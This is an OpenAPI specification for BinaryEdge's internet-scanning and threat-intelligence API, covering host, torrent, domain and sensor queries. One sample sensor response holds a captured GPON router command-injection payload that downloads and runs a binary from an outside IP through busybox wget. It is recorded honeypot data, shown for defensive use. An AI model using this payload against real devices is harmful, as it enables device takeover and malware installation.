openapi: 3.0.0

info:
  title: "BinaryEdge's API V1 Enterprise"
  version: "1.0.1"
  description: "[BinaryEdge](https://www.binaryedge.io/) is Cybersecurity/Data Science company that focuses its effort on acquiring, analyzing and classifying internet wide data. We have developed a platform that allows us and our customers to gather several data points from exposed servers online.\n\n The API provides access to that scanning platform, for your own usage, along with access to our curated databases so that you can do querying and analytics on our worldwide (constantly updated) collected data."
  
servers:
  - description: "API V1"
    url: "https://api.binaryedge.io/v1"

paths:

  /query/ip/historical/{target}:
    get:
      tags:
        - Host
      summary: ""
      description: "Details about an Host, with data up to 6 months.\n\n List of events for the specified host, with events for each time that:\n - A port was detected open\n - A service was found running\n - Other modules were successfully executed"
      security:
        - Token: []
        
      parameters: 
        - in: path
          name: target
          description: "[String] target IP address or CIDR up to /24"
          schema:
            type: string
          required: true
      
      responses:
        '200':
          description: "Return details of that target"
          content:
            application/json:
              example:
                origin:
                  country: uk
                  module: grabber
                  ts: 1464558594512
                  type: service-simple
                target:
                  ip: 222.208.xxx.xxx
                  protocol: tcp
                  port: 992
                result:
                  data:
                    state:
                      state: open|filtered
                    service:
                      name: telnets
                      method: table_default
                
        '400':
          $ref: '#/components/responses/HTTPStatusMessage400'
                
        '401':
          $ref: '#/components/responses/HTTPStatusMessage401'

        '403':
          $ref: '#/components/responses/HTTPStatusMessage403'

        '404':
          $ref: '#/components/responses/HTTPStatusMessage404'

  /query/lastest/{target}:
    get:
      tags:
        - Host
      summary: ""
      description: "Details about an Host. List of recent events for the specified host, including details of exposed ports and services."
      security:
        - Token: []
        
      parameters: 
        - in: path
          name: target
          description: "[String] target IP address or CIDR up to /24"
          schema:
            type: string
          required: true
      
      responses:
        '200':
          description: "Return details of that host"
          content: 
            application/json:  
              example:
                origin:
                  country: uk
                  module: grabber
                  ts: 1464558594512
                  type: service-simple
                target:
                  ip: 222.208.xxx.xxx
                  protocol: tcp
                  port: 992
                result:
                  data:
                    state:
                      state: open|filtered
                    service:
                      name: telnets
                      method: table_default
                
        '400':
          $ref: '#/components/responses/HTTPStatusMessage400'
                
        '401':
          $ref: '#/components/responses/HTTPStatusMessage401'

        '403':
          $ref: '#/components/responses/HTTPStatusMessage403'

        '404':
          $ref: '#/components/responses/HTTPStatusMessage404'
  
  /query/search:
    get:
      tags:
        - Host
      summary: ""
      description: "Events based on a Query. List of recent events for the given query, including details of exposed ports and services. Can be used with [specific parameters](https://docs.binaryedge.io/search/) and/or full-text search."
      security:
        - Token: []
        
      parameters: 
        - in: query
          name: query
          description: "[String] String used to query our data. If no filters are used, it will perform a full-text search on the entire events.\n See [specific parameters](https://docs.binaryedge.io/search/) for details on what parameters can be used."
          schema:
            type: string
          required: true
        - in: query
          name: only_ips
          description: "[Int] Optional. If selected, only output IP addresses, ports and protocols."
          schema:
            type: integer
      
      responses:
        '200':
          description: "Return hosts details of that search"
          content:
            application/json:
              example:
                origin:
                  type: service-simple
                  ts: 1552128473582
                  module: grabber
                  port: 37188
                  country: uk
                  ip: xxx.xxx.xxx.xxx
                target:
                  ip: xxx.xxx.xxx.xxx
                  protocol: tcp
                  port: 9100
                result:
                  data:
                    state:
                      state: open
                    service:
                      version: 5.0.45-community-nt
                      cpe:
                        - 'cpe:/a:mysql:mysql:5.0.45-community-nt'
                      name: mysql
                      banner: 'A\x00\x00\x00\n5.0.45-community-nt\x00\xe0\x14\x00\x00jEZrR"QS\x00,\xa2\x08\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00/,0Msz,gFdFr\x00'
                      method: probe_matching
                      product: MySQL
                
        '400':
          $ref: '#/components/responses/HTTPStatusMessage400'
                
        '401':
          $ref: '#/components/responses/HTTPStatusMessage401'

        '403':
          $ref: '#/components/responses/HTTPStatusMessage403'

        '404':
          $ref: '#/components/responses/HTTPStatusMessage404'
  
  /query/search/stats:
    get:
      tags:
        - Host
      summary: ""
      description: "Statistics of recent events for the given query. Can be used with specific parameters and/or full-text search."
      security:
        - Token: []
        
      parameters: 
        - in: query
          name: query
          schema:
            type: string
          description: "String used to query our data. If no filters are used, it will perform a full-text search on the entire events. See [Search Parameters](https://docs.binaryedge.io/search/) for details on what parameters can be used."
          required: true
        - in: query
          name: type
          description: "Type of statistic we want to obtain.  Possible types include:\n - ports, products, versions, tags, services, countries, asn."
          required: true
          schema:
            type: string
        - in: query
          name: order
          description: "Whether to sort descendently or ascendently to get the top."
          schema:
            type: string
            enum: ["desc", "asc"]
      
      responses:
        '200':
          description: "Return stats results."
          content:
            application/json:
              example:
                - key: 3306/tcp
                  doc_count: 42761
                - key: 102/tcp
                  doc_count: 5
                - key: 1234/tcp
                  doc_count: 5
                - key: 1911/tcp
                  doc_count: 5
                - key: 5001/tcp
                  doc_count: 5
                
        '400':
          $ref: '#/components/responses/HTTPStatusMessage400'
                
        '401':
          $ref: '#/components/responses/HTTPStatusMessage401'

        '403':
          $ref: '#/components/responses/HTTPStatusMessage403'

        '404':
          $ref: '#/components/responses/HTTPStatusMessage404'

  /query/torrent/historical/{target}:
    get:
      tags:
        - Torrent
      summary: ""
      description: "Details about torrents transferred by an Host, with data up to 6 months.\n\n List of torrent events for the specified host, with events for each time that a new transfer was detected on the DHT. See [Torrent Data](https://docs.binaryedge.io/torrent/) for more details."
      security:
        - Token: []
        
      parameters: 
        - in: path
          name: target
          description: "[String] target IP address or CIDR up to /24"
          schema:
            type: string
          required: true
      
      responses:
        '200':
          description: "Return Torrent results"
          content:
            application/json:
              example:
                origin:
                  type: peer
                  module: torrent
                  ts: 1491827676263
                node:
                  ip: 219.88.xxx.xxx
                  port: 25923
                peer:
                  ip: 222.208.xxx.xxx
                  port: 30236
                torrent:
                  infohash: cbe45addbb48c07ef6451bd3bee326d5cd82538f
                  name: NCIS Los Angeles S08E20 HDTV x264-LOL EZTV
                  source: EZTV
                  category: TV Show
                
        '400':
          $ref: '#/components/responses/HTTPStatusMessage400'
                
        '401':
          $ref: '#/components/responses/HTTPStatusMessage401'

        '403':
          $ref: '#/components/responses/HTTPStatusMessage403'

        '404':
          $ref: '#/components/responses/HTTPStatusMessage404'

  /query/torrent/search:
    get:
      tags:
        - Torrent
      summary: ""
      description: "Events based on a Query. List of recent events for the given query, including details of exposed ports and services. Can be used with [specific parameters](https://docs.binaryedge.io/torrents-search/) and/or full-text search."
      security:
        - Token: []
        
      parameters: 
        - in: query
          name: query
          schema:
            type: string
          description: "[String] String used to query our data. If no filters are used, it will perform a full-text search on the entire events.\n See [specific parameters](https://docs.binaryedge.io/torrents-search/) for details on what parameters can be used."
          required: true
        - in: query
          name: page
          description: "Number of the page - Maximum: 500 (10,000 results)"
          schema:
            type: integer
            minimum: 1
            maximum: 500
            default: 1
        - in: query
          name: pagesize
          description: "Number of the results per page - Default: 100"
          schema:
            type: integer
            default: 100
      
      responses:
        '200':
          description: "Return torrents details of that search"
          content:
            application/json:
              example:
                query: 'category:video'
                page: 1
                pagesize: 20
                total: 3149612
                events:
                  - origin:
                      type: peer
                      module: torrent
                      ts: 1565166671255
                    node:
                      ip: xxx.xxx.xxx.xxx
                      port: 2949
                    peer:
                      ip: xxx.xxx.xxx.xxx
                      port: 6881
                    torrent:
                      infohash: d5380fcda66b48fb8b521d5c3b5e61b91c94775e
                      name: Britain's Best Back Gardens Series
                      source: ThePirateBay
                      category: Video
                      subcategory: TV shows
                  - origin:
                      type: peer
                      module: torrent
                      ts: 1565166671242
                    node:
                      ip: xxx.xxx.xxx.xxx
                      port: 8999
                    peer:
                      ip: xxx.xxx.xxx.xxx
                      port: 24279
                    torrent:
                      infohash: d5380fcda66b48fb8b521d5c3b5e61b91c94775e
                      name: Britain's Best Back Gardens Series
                      source: ThePirateBay
                      category: Video
                      subcategory: TV shows
                
                
        '400':
          $ref: '#/components/responses/HTTPStatusMessage400'
                
        '401':
          $ref: '#/components/responses/HTTPStatusMessage401'

        '403':
          $ref: '#/components/responses/HTTPStatusMessage403'

        '404':
          $ref: '#/components/responses/HTTPStatusMessage404'
 
  /query/torrent/search/stats:
    get:
      tags:
        - Torrent
      summary: ""
      description: "Statistics of recent events for the given query. Can be used with specific parameters and/or full-text search."
      security:
        - Token: []
        
      parameters: 
        - in: query
          name: query
          schema:
            type: string
          description: "String used to query our data. If no filters are used, it will perform a full-text search on the entire events. See [Search Parameters](https://docs.binaryedge.io/torrents-search/) for details on what parameters can be used."
          required: true
        - in: query
          name: type
          description: "Type of statistic we want to obtain.  Possible types include:\n - ports, countries, asn, ips, categories, names"
          required: true
          schema:
            type: string
        - in: query
          name: days
          description: "Number of days to get the stats for. For example days=1 for the last day of data."
          schema:
            type: integer
            default: 90
        - in: query
          name: order
          description: "Whether to sort descendently or ascendently to get the top."
          schema:
            type: string
            enum: ["desc", "asc"]
      
      responses:
        '200':
          description: "Return stats results."
          content:
            application/json:
              example:
                - key: 1
                  doc_count: 168056
                - key: 8999
                  doc_count: 133738
                - key: 6881
                  doc_count: 91512
                - key: 51413
                  doc_count: 58998
                - key: 1200
                  doc_count: 35127
                
        '400':
          $ref: '#/components/responses/HTTPStatusMessage400'
                
        '401':
          $ref: '#/components/responses/HTTPStatusMessage401'

        '403':
          $ref: '#/components/responses/HTTPStatusMessage403'

        '404':
          $ref: '#/components/responses/HTTPStatusMessage404'
   
 
 
  /query/torrent/latest/{target}:
    get:
      tags:
        - Torrent
      summary: ""
      description: "Details about torrents transferred by an Host. List of recent torrent events for the specified host, including details of the peer and torrent. See [Torrent Data](https://docs.binaryedge.io/torrent/) for more details.\n\n **Note:** Available for paid subscriptions only."
      security:
        - Token: []
        
      parameters: 
        - in: path
          name: target
          description: "[String] target IP address or CIDR up to /24"
          schema:
            type: string
          required: true
      
      responses:
        '200':
          description: "Return Torrent results"
          content:
            application/json:
              example:
                origin:
                  type: peer
                  module: torrent
                  ts: 1491827676263
                node:
                  ip: 219.88.xxx.xxx
                  port: 25923
                peer:
                  ip: 222.208.xxx.xxx
                  port: 30236
                torrent:
                  infohash: cbe45addbb48c07ef6451bd3bee326d5cd82538f
                  name: NCIS Los Angeles S08E20 HDTV x264-LOL EZTV
                  source: EZTV
                  category: TV Show
                
  
        '400':
          $ref: '#/components/responses/HTTPStatusMessage400'
                
        '401':
          $ref: '#/components/responses/HTTPStatusMessage401'

        '403':
          $ref: '#/components/responses/HTTPStatusMessage403'

        '404':
          $ref: '#/components/responses/HTTPStatusMessage404'

  /query/domains/subdomain/{target}:
    get:
      tags:
        - Domain
      summary: ""
      description: "Return list of subdomains known from the target domains."
      security:
        - Token: []
        
      parameters: 
        - in: path
          name: target
          description: "[String] Domain you want to get list of known subdomains."
          schema:
            type: string
          required: true
        - in: query
          name: page
          description: "[int] Number of the page"
          schema:
            type: integer
            default: 1
        - in: query
          name: pagesize
          description: "[int] Number of results per page"
          schema:
            type: integer
            default: 100
            
      responses:
        '200':
          description: "Return Domains results"
          content:
            application/json:
              example:
                query: 'root:example.com'
                page: 1
                pagesize: 100
                total: 6308
                events:
                  - m.example.com
                  - startup.antichat.example.com
                  - anandop1.example.com
                  - vladimirbezz3.example.com
                
        '400':
          $ref: '#/components/responses/HTTPStatusMessage400'
                
        '401':
          $ref: '#/components/responses/HTTPStatusMessage401'

        '403':
          $ref: '#/components/responses/HTTPStatusMessage403'

        '404':
          $ref: '#/components/responses/HTTPStatusMessage404'

  /query/domains/dns/{target}:
    get:
      tags:
        - Domain
      summary: ""
      description: "Return list of known DNS results for the target domain. Possible types of records currently available:\n\n -A, AAAA, NS, MX"
      security:
        - Token: []
        
      parameters: 
        - in: path
          name: target
          description: "[String] Domain you want to get DNS related data."
          schema:
            type: string
          required: true
        - in: query
          name: page
          description: "[int] Number of the page"
          schema:
            type: integer
            default: 1
        - in: query
          name: pagesize
          description: "[int] Number of results per page"
          schema:
            type: integer
            default: 100
      
      responses:
        '200':
          description: "Return Domains results"
          content:
            application/json:
              example:
                query: 'root:example.com'
                page: 1
                pagesize: 100
                total: 6308
                events:
                  - A:
                      - 92.63.97.42
                    updated_at: '2018-09-22T04:53:21.082802'
                    domain: startup.antichat.example.com
                    root: example.com
                  - A:
                      - 93.184.216.34
                    MX:
                      - example.com
                    NS:
                      - ns1.example.com
                      - ns2.example.com
                    updated_at: '2018-12-10T13:20:16.854174'
                    domain: example.com
                    root: example.com
                  - A:
                      - 91.235.136.112
                    updated_at: '2018-09-22T04:14:29.031596'
                    domain: vladimirbezz3.example.com
                    root: example.com
                  - A:
                      - 93.179.68.6
                    updated_at: '2018-09-22T03:51:36.852124'
                    domain: i.seeva.example.com
                    root: example.com
                
        '400':
          $ref: '#/components/responses/HTTPStatusMessage400'
                
        '401':
          $ref: '#/components/responses/HTTPStatusMessage401'

        '403':
          $ref: '#/components/responses/HTTPStatusMessage403'

        '404':
          $ref: '#/components/responses/HTTPStatusMessage404'

  /query/domains/ip/{target}:
    get:
      tags:
        - Domain
      summary: ""
      description: "Return records that have the specified IP address in their A or AAAA records."
      security:
        - Token: []
        
      parameters: 
        - in: path
          name: target
          description: "[String] target IP address or CIDR up to /24, supports IPV4 or IPV6."
          schema:
            type: string
          required: true
        - in: query
          name: page
          description: "[int] Number of the page"
          schema:
            type: integer
            default: 1
        - in: query
          name: pagesize
          description: "[int] Number of results per page"
          schema:
            type: integer
            default: 100
      
      responses:
        '200':
          description: "Return Domains results"
          content:
            application/json:
              example:
                query: 'A:"8.8.8.8"'
                page: 1
                pagesize: 100
                total: 726
                events:
                  - A:
                      - 8.8.8.8
                    updated_at: '2018-06-08T20:51:30.676063'
                    NS:
                      - ns1058.ui-dns.org
                      - ns1062.ui-dns.com
                      - ns1068.ui-dns.biz
                      - ns1096.ui-dns.de
                    domain: aeroway.co.uk
                    root: aeroway.co.uk
                    MX:
                      - mx00.1and1.co.uk
                      - mx01.1and1.co.uk
                  - A:
                      - 8.8.8.8
                    updated_at: '2018-06-08T20:53:30.348620'
                    NS:
                      - f1g1ns1.dnspod.net
                      - f1g1ns2.dnspod.net
                    domain: 84168800.com
                    root: 84168800.com
                  - A:
                      - 8.8.8.8
                    updated_at: '2018-06-08T20:53:32.450310'
                    NS:
                      - f1g1ns1.dnspod.net
                      - f1g1ns2.dnspod.net
                    domain: 84169911.com
                    root: 84169911.com
                  - A:
                      - 8.8.8.8
                    updated_at: '2018-06-08T20:53:32.508761'
                    NS:
                      - f1g1ns1.dnspod.net
                      - f1g1ns2.dnspod.net
                    domain: 84163311.com
                    root: 84163311.com
                  - A:
                      - 8.8.8.8
                    updated_at: '2018-06-08T20:53:32.540496'
                    NS:
                      - f1g1ns1.dnspod.net
                      - f1g1ns2.dnspod.net
                    domain: 00888416.com
                    root: 00888416.com
                
        '400':
          $ref: '#/components/responses/HTTPStatusMessage400'
                
        '401':
          $ref: '#/components/responses/HTTPStatusMessage401'

        '403':
          $ref: '#/components/responses/HTTPStatusMessage403'

        '404':
          $ref: '#/components/responses/HTTPStatusMessage404'

  /query/domains/search:
    get:
      tags:
        - Domain
      summary: ""
      description: "List of Domains/DNS data based on a Query. Can be used with specific parameters and/or full-text search. Possible types of records currently available:\n\n -A, AAAA, NS, MX, CNAME, TXT"
      security:
        - Token: []
        
      parameters: 
        - in: query
          name: query
          description: "[String] String used to query our data. If no filters are used, it will perform a full-text search on the entire events. \n\n example: A:127.0.0.1"
          schema:
            type: string
          required: true
        - in: query
          name: page
          description: "[Int] Optional. Default 1"
          schema:
            type: integer
            default: 1
        - in: query
          name: pagesize
          description: "[Int] Optional. Default 100"
          schema:
            type: integer
            default: 100
      
      responses:
        '200':
          description: "Return Domains results"
          content:
            application/json:
              example:
                query: 'A:127.0.0.1'
                page: 1
                pagesize: 100
                total: 176685
                events:
                  - A:
                      - 127.0.0.1
                    updated_at: '2018-06-08T20:32:57.002881'
                    NS:
                      - ns3jkl.name.com
                      - ns4qxz.name.com
                      - ns2knz.name.com
                      - ns1ksz.name.com
                    domain: heathynurseway.co.uk
                    root: heathynurseway.co.uk
                    MX:
                      - mail.emailgoodbye.me
                  - A:
                      - 127.0.0.1
                    updated_at: '2018-06-08T20:29:19.612334'
                    NS:
                      - ns1.antagus.de
                      - ns2.antagus.de
                    domain: vit.press
                    root: vit.press
                    MX:
                      - mail.vit.press
                
        '400':
          $ref: '#/components/responses/HTTPStatusMessage400'
                
        '401':
          $ref: '#/components/responses/HTTPStatusMessage401'

        '403':
          $ref: '#/components/responses/HTTPStatusMessage403'

        '404':
          $ref: '#/components/responses/HTTPStatusMessage404'

  /query/sensors/ip/{target}:
    get:
      tags:
        - Sensor
      summary: ""
      description: "Details about an Scanner. List of recent events form the specified host, including details of scanned ports, payloads and tags."
      security:
        - Token: []
        
      parameters: 
        - in: path
          name: target
          description: "[String] target IP address or CIDR up to /24"
          schema:
            type: string
          required: true
      
      responses:
        '200':
          description: "Return Sensor data"
          content:
            application/json:
              example:
                query: xxx.xxx.xxx.xxx
                total: 1
                targets_found: 1
                events:
                  - port: 443
                    results:
                      - target:
                          port: 443
                          protocol: tcp
                        origin:
                          ts: 1549500839739
                          type: sinkhole
                          ip: xxx.xxx.xxx.xxx
                          rdns: xxx.xxx.xxx.example.com
                        data:
                          payload: 'POST /GponForm/diag_Form?style/ HTTP/1.1\r\nUser-Agent: Hello, World\r\nAccept: */*\r\nAccept-Encoding: gzip, deflate\r\nContent-Type: application/x-www-form-urlencoded\r\n\r\nXWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://185.244.25.98/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0'
                          extra:
                            http:
                              method: POST
                              path: /GponForm/diag_Form?style/
                              version: '1.1'
                              headers:
                                user-agent: 'Hello, World'
                                accept: '*/*'
                                accept-encoding: 'gzip, deflate'
                                content-type: application/x-www-form-urlencoded
                          tags:
                            - HTTP_SCANNER
                        '@timestamp': '2019-02-07T00:54:00.422Z'
                
                
        '400':
          $ref: '#/components/responses/HTTPStatusMessage400'
                
        '401':
          $ref: '#/components/responses/HTTPStatusMessage401'

        '403':
          $ref: '#/components/responses/HTTPStatusMessage403'

        '404':
          $ref: '#/components/responses/HTTPStatusMessage404'

  /query/sensors/search:
    get:
      tags:
        - Sensor
      summary: ""
      description: "Events based on a Query. List of recent events for the given query, including details of scanned ports, payloads and tags. Can be used with specific parameters and/or full-text search."
      security:
        - Token: []
        
      parameters: 
        - in: query
          name: query
          description: "[String] String used to query our data. If no filters are used, it will perform a full-text search on the entire events. See [Search Parameters](https://docs.binaryedge.io/sensors-search/) for details on what parameters can be used."
          required: true
          schema:
            type: string
        - in: query
          name: page
          description: "[int] Number of the page"
          schema:
            type: integer
            default: 1
        - in: query
          name: days
          description: "Number of days to get the stats for. For example days=1 for the last day of data."
          schema:
            type: integer
            minimum: 1
            maximum: 60
            default: 60
        - in: query
          name: pagesize
          description: "[int] Number of results per page"
          schema:
            type: integer
            default: 100
        - in: query
          name: only_ips
          description: "[Int] Optional. If selected, only output origin IP addresses, target ports and protocols."
          schema:
            type: integer
      
      responses:
        '200':
          description: "Return Sensor results"
          content:
            application/json:
              example:
                query: 'tags:ssh_scanner'
                page: 1
                pagesize: 20
                total: 1117979
                events:
                  - data:
                      payload: SSH-2.0-PUTTY\r\n
                      extra:
                        ssh:
                          description: SSH-2.0-PUTTY
                      tags:
                        - SSH_SCANNER
                    target:
                      port: 22
                      protocol: tcp
                    origin:
                      ip: 218.92.1.153
                      type: sinkhole
                      ts: 1549625590653
                      asn: 4134
                  - target:
                      port: 22
                      protocol: tcp
                    data:
                      payload: '\x00\x00\x02\x84\x07\x14t\x85\x97.Sf\x88\xa3\x1a\x7f\xf7:ZzG\\\x00\x00\x00Ydiffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1\x00\x00\x00\x0fssh-rsa,ssh-dss\x00\x00\x00\x92aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc\x00\x00\x00\x92aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc\x00\x00\x00Uhmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com\x00\x00\x00Uhmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com\x00\x00\x00\x04none\x00\x00\x00\x04none\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00=@\x8d71\xc9&'
                      extra:
                        ssh:
                          hassh: 92674389fa1e47a27ddd8d9b63ecd42b
                          hassh_algorithms: 'diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none'
                      tags:
                        - SSH_SCANNER
                    origin:
                      ip: 58.242.83.31
                      type: sinkhole
                      ts: 1549625585310
                      asn: 4837
                  - ...: null
                
        '400':
          $ref: '#/components/responses/HTTPStatusMessage400'
                
        '401':
          $ref: '#/components/responses/HTTPStatusMessage401'

        '403':
          $ref: '#/components/responses/HTTPStatusMessage403'

        '404':
          $ref: '#/components/responses/HTTPStatusMessage404'

  /query/sensors/search/stats:
    get:
      tags:
        - Sensor
      summary: ""
      description: "Statistics of recent events for the given query. Can be used with specific parameters and/or full-text search."
      security:
        - Token: []
        
      parameters: 
        - in: query
          name: query
          schema:
            type: string
          description: "[String] String used to query our data. If no filters are used, it will perform a full-text search on the entire events. See [Search Parameters](https://docs.binaryedge.io/search/) for details on what parameters can be used."
          required: true
        - in: query
          name: type
          schema:
            type: string
          description: "[String] Type of statistic we want to obtain. Possible types include:\n\n - ports, tags, countries, asn, ips, payloads, http_path."
          required: true
        - in: query
          name: days
          description: "Number of days to get the stats for. For example days=1 for the last day of data."
          schema:
            type: integer
            default: 60
        - in: query
          name: order
          description: "[desc,asc] Whether to sort descendently or ascendently to get the top."
          schema:
            type: string
            #enum: ["desc", "asc"]
      
      responses:
        '200':
          description: "Return Sensor stats results."
          content:
            application/json:
              example:
                - key: 22/tcp
                  doc_count: 1102752
                - key: 2222/tcp
                  doc_count: 8149
                - key: 222/tcp
                  doc_count: 1970
                - key: 4000/tcp
                  doc_count: 1962
                - key: 23/tcp
                  doc_count: 1552
                
        '400':
          $ref: '#/components/responses/HTTPStatusMessage400'
                
        '401':
          $ref: '#/components/responses/HTTPStatusMessage401'

        '403':
          $ref: '#/components/responses/HTTPStatusMessage403'

        '404':
          $ref: '#/components/responses/HTTPStatusMessage404'

  /query/sensors/tag/{query}:
    get:
      tags:
        - Sensor
      summary: ""
      description: "Get a list of IPs that have been associated with a specific TAG."
      security:
        - Token: []
        
      parameters: 
        - in: path
          name: query
          schema:
            type: string
          description: "[String] Tag you want to get the list of IPs related to. **example**: MALICIOUS"
          required: true
        - in: query
          name: days
          description: "[Integer] Query Param: Number of days to get the stats for. For example days=1 for the last day of data."
          schema:
            type: integer
            minimum: 1
            maximum: 60
            default: 1
      
      responses:
        '200':
          description: "Return stats results."
          content:
            application/json:
              example:
                - 1.34.221.87
                - 1.160.38.189
                - 1.160.39.129
                - 1.160.91.241
                - 1.160.130.56
                - 1.160.160.98
                - 1.161.118.167
                 
        '400':
          $ref: '#/components/responses/HTTPStatusMessage400'
                
        '401':
          $ref: '#/components/responses/HTTPStatusMessage401'

        '403':
          $ref: '#/components/responses/HTTPStatusMessage403'
              
        '404':
          $ref: '#/components/responses/HTTPStatusMessage404'           

components:
  securitySchemes:
    Token:  
      type: apiKey
      in: header
      name: X-Token  

  responses:
    HTTPStatusMessage400:
      description: "Bad Parameter"
      content:
        application/json:
          schema:
            type: object
            properties:
              status:
                type: integer
              title:
                type: string
              message:
                type: string
            example:
              status: "400"
              title: "Bad Request"
              description: "Bad Parameter. Please review your query and try again." 
              
    HTTPStatusMessage401:
      description: "Could not validate token"
      content:
        application/json:
          schema:
            type: object
            properties:
              status:
                type: integer
              title:
                type: string
              message:
                type: string
          example:
            status: "401"
            title: "Unauthorized"
            description: "Could not validate token. Please review your token and try again."
  
    HTTPStatusMessage403:
      description: "Forbidden"
      content:
        application/json:
          schema:
            type: object
            properties:
              status:
                type: integer
              title:
                type: string
              message:
                type: string
          example:
            status: "403"
            title: "Forbidden"
            message: "Your plan doesn't allow you to access this resource."
          
    HTTPStatusMessage404:
      description: 'Page not found'
      content:
        application/json:
          schema:
            type: object
            properties:
              status:
                type: integer
              title:
                type: string
              message:
                type: string
          example:
            status: "404"
            title: "Not Found"
            message: "Page not found."